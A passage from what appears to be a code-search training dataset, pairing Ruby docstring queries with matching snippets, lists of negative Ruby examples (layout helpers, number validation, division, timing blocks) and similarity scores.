paths(:image).get( 'banner.png' ) )\n block {\n welcome = model(:story).find(:sidebar)\n h4 welcome.title\n p { textile( welcome.content ) }\n }\n }\n page { yield }\n }\n }\n end", "def render\n content = output_capture(@block) do\n instance_exec( *@args, &@block )\n end\n content_wrapped = output_capture() { wrap( content ) }\n output_concat content_wrapped\n end", "def layout( content = nil )\n content ||= site\n doctype\n html {\n head {\n\n meta :name => 'description', :content => site['description']\n meta :name => 'verify-v1', :content => 'SJp07enRMbdu2hJ8AhT08Wc6OyTAGjtvxVzo7X1k83g='\n link :rel => 'alternate', :type => 'application/rss+xml', :href => 'http://feeds.feedburner.com/MouseTrap20'\n\n stylesheet content.stylesheet\n javascript 'http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js', :site\n title content.title\n\n }\n body {\n page { \n banner { img( :src => paths(:image).get( 'banner.png' ) ) }\n main { yield }\n sidebar {\n block {\n welcome = model(:story).find(:sidebar)\n p { textile( welcome.content ) }\n }\n }\n }\n }\n }\n end", "def has_sidebar?\n sidebar_content.present? && show_sidebar?\n end", "def layout\n @current_layout ||= :default_layout\n send(\"#{@current_layout}\"){ yield }\n end", "def wrap_in_layout #:nodoc:\n if @options[:layout]\n ERB.new(@options[:layout]).result(binding)\n else\n yield\n end\n end", "def yield_content!(name)\n view_flow.content.delete(name)\n end", "def content_container(content_obj, opts={}, &block)\n html_attribs = {\"data-content-type\"=>content_obj.class.to_s, \"data-content-item\"=>content_obj.id}\n html_attribs[\"data-content-new\"] = true if content_obj.new_record?\n html_attribs[\"data-site-id\"] = @site.id if @site\n html_attribs.merge!(opts[:html]) if opts[:html]\n html_tag_name = opts[:tag] || :span\n content_tag html_tag_name, html_attribs do\n capture(&block)\n end\n end" ]
[ "0.66405404", "0.6490057", "0.63716316", "0.6263863", "0.6109316", "0.6081218", "0.6054966", "0.60003746", "0.5991545", "0.59018505", "0.58933085", "0.5887339", "0.5884539", "0.5819926", "0.5818763", "0.57900333", "0.57422894", "0.5738098", "0.56696993", "0.5635347", "0.56198287", "0.5570801", "0.5554083", "0.552462", "0.548025", "0.5475198", "0.54487437", "0.54483277", "0.5416039", "0.5415439", "0.54023474", "0.53913975", "0.5381849", "0.5378008", "0.5359597", "0.53409773", "0.53394264", "0.53332865", "0.5331135", "0.5328416", "0.5319204", "0.53028476", "0.5301433", "0.52835613", "0.52711624", "0.5270531", "0.5255633", "0.5255359", "0.5252995", "0.5251903", "0.52430403", "0.5238979", "0.52384883", "0.52366173", "0.5232449", "0.52293855", "0.5206383", "0.5178089", "0.51779467", "0.51772934", "0.5168378", "0.51680654", "0.5145998", "0.5124352", "0.5122967", "0.51197726", "0.51182926", "0.5117664", "0.51102316", "0.51096296", "0.5108453", "0.5105351", "0.51033634", "0.5101083", "0.5090624", "0.5090624", "0.50888103", "0.5081255", "0.50709504", "0.50679344", "0.5062412", "0.5061491", "0.50588685", "0.5055456", "0.5037257", "0.5021575", "0.5015459", "0.49841535", "0.49792296", "0.49744254", "0.49714512", "0.49714512", "0.4967862", "0.49633497", "0.49613428", "0.49580494", "0.495523", "0.49491188", "0.49464577", "0.49461123" ]
0.77649873
0
results of dividing the first by the second. The second number must not be 0, and both numbers should be validated using this method: =begin def valid_number?(number_string) number_string.to_i.to_s == number_string end =end
def valid_number?(number_string) number_string.to_i.to_s == number_string end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def divideme(first_number,second_number) # divides the numbers\r\n if second_number.to_i == 0\r\n puts \"Sorry cannot divide by zero\"\r\n else\r\n if first_number.to_i % second_number.to_i == 0\r\n puts (\"#{first_number} / #{second_number} is :\" + (first_number.to_i / second_number.to_i).to_s)\r\n else\r\n puts (\"#{first_number} / #{second_number} is :\" + (first_number.to_f / second_number.to_f).to_s)\r\n end\r\n end\r\nend", "def num_valid?\r\n number = ''\r\n # (1)need to split the number down first to handle it digit by digit\r\n # (2)because number length can change, better to reverse it and go front to back\r\n # (3)put through an each block to loop through the digits, adding with_index to help the modulo\r\n # (4)using a modulo to apply *2 if remainder is not 0 (i.e. every other number starting at position 1, using the index)\r\n # (5)building up the number string with << (could use += but no need to create a new object every time)\r\n @num.split('').reverse.each_with_index do |digit, index|\r\n number << digit if index%2 == 0\r\n number << (digit.to_i*2).to_s if index%2 != 0\r\n end\r\n\r\n # lastly have to check the result added together modulo's to zero\r\n # consulted http://blog.jayfields.com/2008/03/ruby-inject.html for inject syntax refresher\r\n # (1)need to split the number down into an array so inject() can turn them to_i and give us the sum\r\n # (2)using a modulo to ensure the final sum is a multiple of 10\r\n number.split('').inject { |r,e| r.to_i + e.to_i } % 10 == 0\r\n end", "def divide(number1, number2)\n number2.zero? ? 'Erro! Divisão por zero não é possível' : number1 / number2\n end", "def num_check(num_one,num_two)\n num_one.to_i.to_s == num_one &&num_two.to_i.to_s == num_two || num_one.to_f.to_s == num_one &&num_two.to_f.to_s == num_two\nend", "def valid?\n digits = ''\n # double every other number starting with the next to last\n # and working backwards\n @number.split('').reverse.each_with_index do |d,i|\n digits += d if i%2 == 0\n digits += (d.to_i*2).to_s if i%2 == 1\n end\n\n # sum the resulting digits, mod with ten, check against 0\n digits.split('').inject(0){|sum,d| sum+d.to_i}%10 == 0\n end", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string != 0\nend", "def number_is_valid_2?(number)\n str = number.to_s\n str.scan(/(\\d)\\1+/).length - str.scan(/(\\d)\\1\\1+/).length > 0\nend", "def validate_num(number)\n number.to_i.to_s == number && number.to_i > 0\nend", "def valid_number?(n_s)\n n_s.to_i.to_s == n_s && n_s.to_i != 0\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string && number_string.to_i != 0\n end", "def divide(first_number, second_number)\n return first_number / second_number\n end", "def divide(num1, num2)\n\tresults = \"\"\n\tif num2 == 0\n\t\t\"False\"\n\telse\n\tresults = num1/num2\nend\n\n\t\t\t\n\t# if number == 0\n\t# \treturn \"Cant't divide a number by 0\"\n\t# else numbers.inject do |divedend, number|\n\t# quo = (divedend /= number).round(2)\n\n\n\t# end\n\n\t# if number.zero?\n # \treturn \"Cannot divide by 0!\"\n\t# else\n # \tquo\n\t# end\n\n\t\n\t# if number != 0 \n\t\t# \treturn quo\n\t# else \n\t\t# \treturn \"error\"\n\t# end\n\n\t# end\n\nend", "def num(x,y)\n if x > 0 && y > 0\n return x.digits.first == y.digits.first\n else\n puts \"invalid\"\n end\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\nend", "def valid_number?(number_string)\n number_string.to_i.to_s == number_string\n end", "def division\n\tputs \"which numbers would you like to divide\"\n\tdiv_number1 = gets.chomp.to_f\n\tdiv_number2 = gets.chomp.to_f\n\tif div_number2.to_f == 0\n\t\tputs \"That is not possible, you failed fourth grade math.\"\t\t\n\telse\n\t\tputs div_number1.to_f / div_number2.to_f\n\tend\nend", "def divisible_by_two?(num_str)\n num_str.split(\"\").reduce(0) {|sum, num| sum += num.to_i * num.to_i } % 2 == 0\nend", "def valid?(num)\n odd = false\n num.to_s.gsub(/\\D/,'').reverse.split('').map(&:to_i).collect { |d|\n d *= 2 if odd = !odd\n d > 9 ? d - 9 : d\n }.inject(:+) % 10 == 0\n end", "def self_dividing_numbers(left, right)\n (left..right).select{|x| x.digits.all?{|y| y!=0 && x%y == 0}}\nend", "def valid_num?(number)\n number == number.to_i.to_s\nend", "def TripleDouble(num1,num2)\n arr_num1 = num1.to_s.split(//).map(&:to_i)\n arr_num2 = num2.to_s.split(//).map(&:to_i)\n first_number_valid?(arr_num1) && second_number_valid?(arr_num2) ? 1 : 0\nend", "def Division\n print \"Ingrese El numero 1: \"\n numero1 = gets.chomp.to_f\n print \"Ingrese El numeor 2: \"\n numero2 = gets.chomp.to_f\n\n if numero2 == 0\n puts \"\\nNo es posible dividir entre 0\"\n else\n puts \"\\nDivision: #{numero1 / numero2}\"\n end\n end", "def divide(x, y)\n if y == 0\n return \"Psst. You can't divide by zero. Please try again.\"\n elsif x.is_a?(Integer) && y.is_a?(Integer) && x % y != 0\n return x.to_f / y\n else\n return x / y\n end\nend", "def can_divide_by?(number)\n\treturn false if number.zero? \n\ttrue\nend", "def validate_number(number)\n number == number.to_i.to_s || number == number.to_f.to_s\nend", "def second_number_function \n puts \"What is the second number?\"\n print \"> \" \n second_number = gets.strip \n if second_number =~ /-?\\d+\\.?\\d*/\n puts \"accepted\" \n @second_number = second_number.to_f\n calculations \n else puts \"Must enter a number\" \n second_number_function \n calculations \n end \nend", "def divisible (first_number, second_number)\n if ((first_number % second_number) == 0 )\n puts \"#{first_number} is divisible by #{second_number}\"\n else\n puts \"#{first_number} is not divisible by #{second_number}\"\n end\nend", "def divide(first_number, second_number)\n return first_number / second_number\nend", "def can_divide_by?(number)\n\treturn false if number.zero?\n\ttrue\nend", "def can_divide_by?(number)\n\treturn false if number.zero?\n\ttrue\nend", "def validnum?(num)\n num == num.to_i.to_s\nend", "def is_divisor?(number, i) \n number % i == 0\nend", "def double_number?(number)\n numstring = number.to_s\n if numstring.length.even?\n midpoint = numstring.length/2\n if numstring.slice(0, midpoint) == numstring.slice(-midpoint, midpoint)\n return true\n end\n end\n\n return false\nend", "def division(first_number, second_number, third_number)\n# Conditional that removes divide by zero error\n\t\tif second_number == 0\n\tresult = \"You can't divide by zero\"\nelsif third_number == 0\n\tresult = \"You can't divide by zero\"\nelse\n\t\t\t\tif (first_number == \"\") || (second_number == \"\") || (third_number == \"\")\n\tnil\nelsif (first_number == []) || (second_number == []) || (third_number == [])\n\tnil\nelse\n\tresult = first_number / second_number / third_number\nend\nend\n\tresult\n\nend", "def valid_number?(number)\n number.to_i.to_s == number || number.to_f.to_s == number\nend", "def division (first_number, second_number)\nfirst_number / second_number\nend", "def valid_number?(num)\n num.to_i.to_s == num && num.to_i > 0 && !num.empty?\nend", "def valid_number?(number)\n number.to_f.to_s == number || number.to_i.to_s == number\nend", "def luck_check (str)\n raise ArgumentError if str.match?(/\\D/) || str.empty?\n middle = str.size / 2\n first_half, second_half = str.split(/(\\d{#{middle}})\\d?(\\d{#{middle}})/).last(2)\n first_half.to_i.digits.sum == second_half.to_i.digits.sum\nend", "def divide(first_number, second_number)\n first_number / second_number\nend", "def div_stringed(num1, num2)\r\n\r\nend", "def divisable_by_given?(number, given)\n number % given == 0\n end", "def can_divide_by?(num)\n\treturn false if number.zero?\n\ttrue\nend", "def divide_by_zero(num_2)\n if num_2 == 0 || num_2 == 0.0\n puts \"Sorry, dividing by zero is invalid.\"\n return false\n else\n return true\n end\nend", "def valid_number?(num)\n num.to_i.to_s == num\nend", "def valid_number?(num)\n num.to_f() != 0\nend", "def can_divide_by?(number)\r\n\treturn false if number.zero?\r\n\treturn true\r\nend", "def format_userinput_for_division(operator, valid_operators, num_1, num_2, user_input)\n if num_1 =~ /^(\\d)+$/ && num_2 =~ /^(\\d)+$/\n unless divide_by_zero(num_2.to_i)\n exit\n end\n modulo = (num_1.to_i % num_2.to_i)\n if modulo != 0\n result = (num_1.to_f / num_2.to_f)\n return result\n else\n format_userinput_not_including_division(valid_operators, num_1, num_2, user_input)\n result = division(user_input[:num_1], user_input[:num_2])\n return result\n end\n else\n format_userinput_not_including_division(valid_operators, num_1, num_2, user_input)\n result = division(user_input[:num_1], user_input[:num_2])\n return result\n end\nend", "def valid(number)\n puts '---------------------------valid?'\n digits = ''\n # double every other number starting with the next to last\n # and working backwards\n number.split('').reverse.each_with_index do |d,i|\n digits += d if i%2 == 0\n digits += (d.to_i*2).to_s if i%2 == 1\n end\n\n # sum the resulting digits, mod with ten, check against 0\n digits.split('').inject(0){|sum,d| sum+d.to_i}%10 == 0\n\n # puts '=============== !!!!valid always returning true for testing !!!!==========='\n # return true #just for testing\n end", "def valid_number?(input)\n input.to_i.to_s == input\nend", "def divides?(a,b)\n return b%a == 0\nend", "def valid_number?(num)\n if num.to_i.to_s == num\n num.to_i\n elsif num.to_f.to_s == num\n num.to_f\n else\n false\n end\nend", "def test_last_digit(a, b)\n return (a % 10 == b % 10);\n end", "def is_number_valid?(n)\n puts n\n # RANGE.detect {|i| !is_whole?(n.to_f / i)}.nil?\n i = 1\n i += 1 until !is_whole?(n.to_f / i)\n i >= MAX\nend", "def isMultiple(a, b, n)\n fractional_part = (a.to_f/b.to_f).round(1).to_s[-1].to_i\n return false if fractional_part <= 0\n fractional_part % n == 0 ? true : false\nend", "def number?(input)\n #edge case, doesn't deal with 1. or 1.30 it either adds a zero or takes one off\n input.to_i.to_s == input || input.to_f.to_s == input\nend", "def divide(num_one, num_two)\n if num_two == 0\n until num_two != 0\n puts \"You can't divide by zero. Enter the second number again: \"\n num_two = gets.chomp.to_i\n end\n end\n return num_one / num_two\nend", "def format_userinput_not_including_division(valid_operators, num_1, num_2, user_input)\n if num_1 =~ /^(\\d)*\\.(\\d)+$/\n num_1 = num_1.to_f\n user_input[:num_1] = num_1\n elsif num_1 =~ /^(\\d)+$/\n num_1 = num_1.to_i\n user_input[:num_1] = num_1\n else\n puts \"Whoa nelly! It looks like you entered something other than a number.\"\n exit\n end\n if num_2 =~ /^(\\d)*\\.(\\d)+$/\n num_2 = num_2.to_f\n user_input[:num_2] = num_2\n elsif num_2 =~ /^(\\d)+$/\n num_2 = num_2.to_i\n user_input[:num_2] = num_2\n else\n puts \"Whoa nelly! It looks like you entered something other than a number.\"\n exit\n end\nend", "def double_number?(num)\n str_num = num.to_s\n middle_index = (str_num.size - 1) / 2\n str_num.size.even? && str_num[0..middle_index] == str_num[(middle_index + 1)..-1]\nend", "def validate(n)\n # reverse the number\n reversed = reverser(n)\n cleaned = cleaner(reversed)\n checker(cleaned)\n # reversed_number_string = n.to_s.reverse.chars\n # double every other number\n # doubler(reversed_number_string)\n # doubled = reversed_number_string.map.with_index do |number, index|\n # if index % 2 != 0\n # number.to_i * 2\n # else\n # number.to_i\n # end\n # end\n # check to see if each number is > 10\n # cleaned = doubler(reversed).map do |number|\n # if number / 10 >= 1\n # number - 9\n # else\n # number\n # end\n # end\n # # binding.pry\n # # if so, subtract 9\n # # if not, leave as is\n # # sum the numbers (reduce), check to see if divisbile by 10, return boolean\n # cleaned.reduce(:+) % 10 == 0\nend", "def valid?(number)\n number.to_i.to_s == number\nend", "def DivisionStringified(num1,num2)\n result = num1.to_f / num2.to_f\n result.round.to_s.chars.map(&:to_i).size <= 3 ? result.round : result.round(3)\nend", "def valid_number?(num)\n valid_integer?(num) || valid_float?(num)\nend", "def valid_number?(num)\n num.to_i != 0\nend" ]
[ "0.7217604", "0.717387", "0.6883382", "0.67826974", "0.67763966", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6748561", "0.6746073", "0.6746073", "0.6737415", "0.6718314", "0.6682832", "0.66771156", "0.6672761", "0.66567343", "0.66541874", "0.66507596", "0.6647231", "0.66226643", "0.6607121", "0.657096", "0.6561316", "0.6543655", "0.6524783", "0.65084183", "0.64900315", "0.6475184", "0.64710885", "0.6467861", "0.6456801", "0.6442042", "0.64357406", "0.64357406", "0.64351946", "0.6431867", "0.64285594", "0.6426066", "0.6418319", "0.64175344", "0.6407142", "0.64014506", "0.6390151", "0.63887453", "0.6388268", "0.6385686", "0.6383491", "0.6375496", "0.63597053", "0.6349625", "0.63401353", "0.63385224", "0.6338436", "0.6317891", "0.6301756", "0.6281352", "0.6265988", "0.62515587", "0.62514037", "0.6243119", "0.6214391", "0.62141156", "0.61860466", "0.6185197", "0.61723816", "0.61659217", "0.61558694", "0.6154297" ]
0.6624613
51
Returns the elapsed real time used to execute the given block.
def realtime # :yield: r0 = Process.clock_gettime(Process::CLOCK_MONOTONIC) yield Process.clock_gettime(Process::CLOCK_MONOTONIC) - r0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def profile block_description, &block\n start_time = Time.new\n block.call\n duration = Time.new - start_time\n puts \"#{block_description}: #{duration} seconds\"\nend", "def profile (block_description, &block)\n start_time = Time.new\n block.call\n duration = Time.new - start_time\n puts \"#{block_description}: #{duration} seconds\"\nend", "def measure_time(&block)\n start_time = Time.now\n yield\n Time.now - start_time\nend", "def profile(description_of_block, &block)\n start_time = Time.now \n block.call \n duration = Time.now - start_time\n puts description_of_block+': '+duration.to_s+' seconds'\nend", "def profile blockDescription, &block\n startTime = Time.now\n\n block.call\n \n duration = Time.now - startTime\n\n puts blockDescription + ': '+duration.to_s+' seconds'\n\nend", "def timed_run(&block)\n time = Benchmark.measure do\n block.call\n end\n puts time\nend", "def time_operation(&block)\n start = Time.now.to_ms\n yield\n Time.now.to_ms - start\n end", "def average_exec_time(&block)\n (0...1000).sum do\n Benchmark.measure(&block).real\n end / 1000\nend", "def time\n start_time = Time.now.to_f\n yield\n end_time = Time.now.to_f\n return end_time - start_time\n end", "def timer(&block)\n start_time = Time.now\n yield(start_time)\n time_elapsed = Time.now - start_time\n end", "def execution_time\n @process.instance_variable_get(:@execution_time).total\n end", "def blocks_time\n Benchmark::Tms.new\n end", "def time_block\n start = Time.now\n yield\n time = Time.now - start\n puts \"Block took basically 0 time\" if time < 0.001\n raise \"Block took #{time} to execute\" if time > 0.001\nend", "def profile block_description, &block\n start_time = Time.new\n block.call\n duration = Time.new - start_time\n puts \"#{block_description}: #{duration} seconds\" if $profiling_status\nend", "def with_timer(&block)\n start_time = Time.now\n block.call\n end_time = Time.now\n duration_in_seconds = (end_time - start_time).to_i\n $stderr.puts \"Total duration: #{ duration_in_seconds } seconds.\"\n end", "def timed(&block)\n @@start_time = Time.now\n Thread.new(&block).join\n @@elapsed_time = Time.now - @@start_time\n @@average_times.push(@@elapsed_time) \n end", "def benchmark\n start_time = Time.now\n calculation = yield\n end_time = Time.now\n run_time = end_time - start_time\n run_time\nend", "def profile block_description, &block\n profiling_on = true\n if profiling_on == true\n start_time = Time.new\n block.call\n duration = Time.new - start_time\n puts \"#{block_description}: #{duration} seconds\"\n else\n block.call\n end\nend", "def run_time_or_time_elapsed\n if self.end_time \n return Time.at(self.end_time - self.start_time)\n else\n return Time.at(Time.now - self.start_time)\n end\n end", "def time_elapsed\n\t\treturn Time.now - self.start_time\n\tend", "def time description = '', &block\n start = Time.now\n yield\n puts \"execution time of #{description.empty? ? block.to_s : description}: #{Time.now - start}\"\nend", "def runtime_latency\n (finished_at || Time.current) - performed_at if performed_at\n end", "def time\n beg_time = Time.now\n yield\n end_time = Time.now\n end_time - beg_time\n end", "def time_elapsed\n if !self.finished.blank?\n ((self.finished - self.started) / 60).to_i\n end\n end", "def time_this &block\n _time_this_starting = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n block.call\n Process.clock_gettime(Process::CLOCK_MONOTONIC) - _time_this_starting\nend", "def time\n start = Time.now.to_f\n yield\n puts \"Computation time is:\\n\"\n puts Time.now.to_f - start\n end", "def bench(&block)\n t0 = Time.now\n block.call\n t1 = Time.now\n\n t1 - t0\nend", "def time_elapsed\n Time.now - @start_time\n end", "def elapsed_time\n (Time.now.to_f - @start_time) * 1000000\n end", "def cpu_time\n @cpu_time_finish - @cpu_time_start\n end", "def elapsed_time\n if @start_time && @end_time\n @end_time - @start_time\n else\n nil\n end\n end", "def time\n tstart = Time.now.to_f\n yield\n tend = Time.now.to_f\n tend - tstart\nend", "def time(&block)\n t = Time.now\n [yield, Time.now - t]\n end", "def profile block_description, &block \n \tif $profiling_on\n \t\tstart_time = Time.new\n\t\tblock.call\n\t\tduration = Time.new - start_time\n\t\tputs \"#{block_description}: #{duration} seconds\"\n\telse\n\t\tblock.call\n\tend\nend", "def debug_time(msg, &block)\n t0 = Time.now\n value = block.call\n debug \"TIME: #{msg} #{sprintf \"%.6f\", (Time.now - t0)} sec\"\n value\n end", "def tm()\n start = Time.now\n result = yield\n delta = Time.now - start\n puts \"Elapsed: #{delta} seconds\"\n result\nend", "def total_time=(_arg0); end", "def duration_time\n if !block_given?\n if @cached_duration_time != nil\n return @cached_duration_time\n end\n return @cached_duration_time = @j_del.java_method(:durationTime, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling duration_time()\"\n end", "def measure\n start = Time.now\n yield\n Time.now - start\n end", "def benchmark\n start_time = Time.now\n yield\n end_time = Time.now\n running_time = end_time - start_time\nend", "def elapsed_time\n (Time.now.to_f - @start_time) * 1000\n end", "def exec_time(a)\n begin_time = Time.now\n a.call\n return Time.now - begin_time\nend", "def exec_time(proc)\n begin_time = Time.now\n proc.call\n Time.now - begin_time\nend", "def custom_benchmark\n start_time = Time.now\n yield if block_given?\n elapsed_time = Time.now - start_time\n puts \"Custom Benchmark Time in Seconds: #{elapsed_time}\"\nend", "def time\n end_time - start_time\n end", "def run_time\n return nil unless self.start_time\n (self.end_time || Time.now) - self.start_time\n end", "def total_time; end", "def time(label, &block)\n raise ArgumentError, 'no block given' unless block\n\n `#{@native}.time(label)`\n\n begin\n if block.arity == 0\n instance_exec(&block)\n else\n yield(self)\n end\n ensure\n `#{@native}.timeEnd()`\n end\n end", "def get_elapse_time\n @start_time ||= @time_now\n return @time_now - @start_time\n end", "def calculate_elapsed_time(result)\n Time.parse(result.finish_time).to_i - Time.parse(result.start_time).to_i\n end", "def exec_time(proc)\n # your code here\n x = Time.now\n proc.call()\n y = Time.now\n y - x\nend", "def execution_duration\n duration = nil\n unless self.stopped_at.nil?\n duration_seconds = self.stopped_at - self.started_at\n dhc = duration_seconds / 3600 # hours component\n dhc_mod = duration_seconds % 3600\n dhm = dhc_mod / 60 # minutes component\n dhs = dhc_mod % 60 # seconds component\n\n duration = format('%02d:%02d:%02d', dhc, dhm, dhs)\n end\n\n duration\n end", "def custom_benchmark(name)\n start_time = Time.now\n yield if block_given?\n elapsed_time = Time.now - start_time\n puts \"#{name} Time in Seconds: #{elapsed_time}\"\nend", "def exec_time(proc)\n start_time = Time.now\n proc.call\n Time.now - start_time\nend", "def time_itr\n start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n yield\n end_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n delta_time = end_time - start_time\n return delta_time\nend", "def measure\n start = Time.now\n yield\n Time.now - start\n end", "def elapsed_time\n @internal_data.elapsed_time\n end", "def exec_time(proc)\n start = Time.now\n proc.call\n Time.now - start\nend", "def benchmark\n start_time = Time.now\n result = yield\n end_time = Time.now\n benchmark = end_time - start_time\nend", "def grandfather_clock block_description, &block\n profling_on = true\n if profling_on == true\n start_time = Time.new\n block.call\n duration = Time.new - start_time\n puts \"#{block_description}: #{duration} seconds\"\n else\n block.call\n end\nend", "def measure\n start_real = System.monotonic_time\n start_cpu = System.cpu_time\n retval = yield\n\n real_time = System.monotonic_time - start_real\n cpu_time = System.cpu_time - start_cpu\n\n @real_time += real_time\n @cpu_time += cpu_time\n @call_count += 1\n\n if above_threshold?\n self.class.gitlab_method_call_duration_seconds.observe(@transaction.labels.merge(labels), real_time)\n end\n\n retval\n end", "def time\n\t\t\t\tDateTime.strptime(block_nTime.to_s, \"%s\").to_s\n\t\t\tend", "def elapsed_time\n return nil if !started_at.present? || aborted_at.present?\n\n (finished_at.present? ? finished_at : Time.now) - started_at\n end", "def elapsed_time\n if end_time && start_time\n return ((end_time - start_time)/60).round\n else\n return 0\n end\n end", "def measure(heading)\n start_time = Time.now\n print heading\n result = yield\n end_time = Time.now - start_time\n puts \" (#{end_time} s)\"\n result\nend", "def timer\n # 2. start executing the method\n start_time = Time.now\n yield # 3. jump out of 'timer', start execuding the block\n\n # 6. continue executing the method as per usual\n end_time = Time.now\n\n puts \"Elapsed time: #{end_time - start_time} s\"\nend", "def cstime=(*) end", "def duration(proc)\n start = Time.now\n proc.call\n dur = Time.now - start\nend", "def elapsed\n (Time.now - @start_time).round\n end", "def begin_time\n if !block_given?\n if @cached_begin_time != nil\n return @cached_begin_time\n end\n return @cached_begin_time = @j_del.java_method(:beginTime, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling begin_time()\"\n end", "def time\n start = Time.now\n yield\n Time.now - start\nend", "def time(who, &block)\n trace_execution_unscoped(key(who), {}, &block)\n end", "def blocks_time\n @measurements[PATH_MEASURES].time if @measurements[PATH_MEASURES]\n end", "def cstime(*) end", "def run_time\n ((Time.now - start_time) * 1000).round\n end", "def time(identifier)\n if active?\n unless block_given?\n raise \"Please supply a block of code for Etalon to instrument\"\n end\n\n start = Time.now\n\n return_value = yield\n\n duration = elapsed(start)\n\n key = key_from(identifier: identifier)\n store = instrument_store_for(key: key)\n\n store[:count] += 1\n store[:min] = duration if duration < store[:min]\n store[:max] = duration if duration > store[:max]\n store[:all] << duration\n\n return_value\n else\n yield\n end\n end", "def process_duration\n t1 = Process.times.utime\n Process.times.utime - t1\nend", "def deb_time(proc)\n cur_time = Time.now\n proc.call\n return Time.now-cur_time\nend", "def profile_time\n time_elapsed = Benchmark.realtime do\n yield\n end\n\n puts \"Time: #{time_elapsed.round(3)} seconds\"\n # print \";#{time_elapsed.round(3)}\"\n end", "def time()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.SumOfBestComponentState_time(@handle.ptr)\n result\n end", "def benchmark\n start = Time.now\n yield\n p Time.now - start\nend", "def benchmark\n start_time = Time.now\n yield\n end_time = Time.now\n end_time - start_time\n\n # Your benchmarking code goes here.\nend", "def total_time\n Time.now - @now\n end", "def get_total_runtime_ms\n (TimeDifference.between(*get_runtime_timestamps).in_seconds * 1000).to_i\n end", "def get_run_time(ant)\n end", "def elapsed_seconds(start_time, end_time)\r\n end_time - start_time\r\nend", "def elapsed\n Time.now - @time_start\n end", "def execute_time\n @next_time\n end", "def elapsed\n Time.now - self\n end", "def time\n started_at = Time.now.to_f\n yield()\n ensure\n update((Time.now.to_f - started_at.to_f) * 1000)\n end", "def time\n each_item.reduce(0) { |a, e| a + e.duration }\n end", "def bench type\n t1 = Time.now\n yield\n t2 = Time.now\n p \"#{type} used #{t2 - t1} seconds\"\nend", "def time_it\n time_before = Time.now\n yield\n time_after = Time.now\n\n puts \"It took #{time_after - time_before} seconds.\"\nend", "def time(message=nil)\n start = Time.now\n result = yield\n elapsed = Time.now - start\n \n print \"[#{message}] \" if message\n puts \"elapsed time: %0.5fs\" % elapsed\n result\nend", "def time\n building_time + execution_time\n end", "def time(count = 1000, &block)\n start = Time.now\n 1000.times { yield }\n end_time = Time.now\n puts (end_time - start) * 1000\nend", "def duration\n\t\tt =(Time.now- @start)\n\t\treturn t\n\tend", "def handle_tslb\n { tslb: (Time.now - @node.last_block_time).to_i }\n end", "def elapsed_time\n seconds = (self.end_at.to_i - self.start_at.to_i)\n (seconds / 60)\n end", "def benchmark_end_time\n time_of_last_event_with_name(:finished_running) ||\n time_of_last_event_with_name(:finished_postprocessing) ||\n time_of_last_event_with_name(:started_releasing_resources) ||\n time_of_last_event_with_name(:finished_releasing_resources)\n end", "def time_it\n time_before = Time.now\n yield\n time_after = Time.now\n\n puts \"it took #{time_after - time_before} seconds.\"\nend" ]
[ "0.73021805", "0.72987777", "0.7210578", "0.71865946", "0.71553665", "0.71465886", "0.70108515", "0.6995364", "0.6894388", "0.6865751", "0.6838222", "0.68350494", "0.6816504", "0.68063885", "0.6723908", "0.6585309", "0.6579548", "0.65690345", "0.65644985", "0.65201676", "0.6519566", "0.65147567", "0.65065575", "0.6488253", "0.6451076", "0.64347243", "0.64279664", "0.64188695", "0.6413994", "0.64079374", "0.6367456", "0.6363197", "0.63377357", "0.6311092", "0.63089365", "0.63046354", "0.6300863", "0.6275502", "0.6261861", "0.6248241", "0.6241495", "0.6241178", "0.62352383", "0.62087625", "0.6206937", "0.618985", "0.6185138", "0.6181637", "0.6170969", "0.61538506", "0.6143443", "0.61381197", "0.613398", "0.6127085", "0.61242396", "0.61210513", "0.61139685", "0.6113476", "0.6109017", "0.6106767", "0.61043435", "0.61019963", "0.60919327", "0.60891974", "0.6073168", "0.6069934", "0.6068964", "0.6033757", "0.6033356", "0.6032985", "0.60320574", "0.6012133", "0.6010077", "0.60081774", "0.59956646", "0.5988932", "0.5966916", "0.5962673", "0.59567726", "0.5935689", "0.5928905", "0.5925319", "0.59181577", "0.5895981", "0.5895104", "0.5888142", "0.58717376", "0.5866446", 